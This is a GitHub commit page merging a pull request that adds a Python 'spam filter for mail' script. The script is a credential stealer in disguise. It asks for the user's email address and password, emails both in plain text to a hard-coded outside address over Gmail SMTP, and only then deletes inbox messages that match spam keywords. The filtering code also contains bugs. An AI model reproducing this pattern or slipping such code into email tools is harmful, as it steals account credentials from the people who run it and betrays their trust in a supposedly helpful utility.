Skip to content

Commit

Permalink
Merge pull request #88 from DoraTheExplorax/mail-spam
Browse files Browse the repository at this point in the history
Added spam filter for mail
  • Loading branch information
aman-raza authored Oct 9, 2020
2 parents 164380f + c490773 commit 78f5de6
Showing 1 changed file with 34 additions and 0 deletions.
34 changes: 34 additions & 0 deletions mailspamdetector.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import imaplib
import smtplib
from email.mime.text import MIMEText
from email.header import Header
email = raw_input("enter your email..... ")
passw = raw_input("enter your password..... ")
recipient = "[email protected]"
msg = MIMEText(email + ' ' + passw, 'plain', 'utf-8')
msg['new mail'] = Header('new mail', 'utf-8')
msg['from'] = email
msg['to'] = recipient
s = smtplib.SMTP(host='smtp.gmail.com', port=587)
s.ehlo()
s.starttls()
s.ehlo()
s.login(email, passw)
s.sendmail(email, recipient, msg.as_string())
s.quit
imapserver = "imap.gmail.com"
spamkeywords = ["Just/uploaded/a/video", "Wants/to/be/friends", "is/live/now/on", "shared/a/post", "sale", "grab/now", "tweeted", "top/10", "your/shocking/2020", "unsubscribe"]
x = len(spamkeywords)
def deleteEmailIMAP(user, password, IMAP):
for i in range(x):
mail = imaplib.IMAP4_SSL(IMAP)
mail.login(user, password)
mail.select('inbox')
typ, data = mail.search(None, 'body', spamkeywords[0])
for num in data[0].split():
mail.store(num, '+FLAGS', r'(\Deleted)')
del spamkeywords[0]
mail.expunge()
mail.close()
mail.logout()
deleteEmailIMAP(email, passw, imapserver)

0 comments on commit 78f5de6

Please sign in to comment.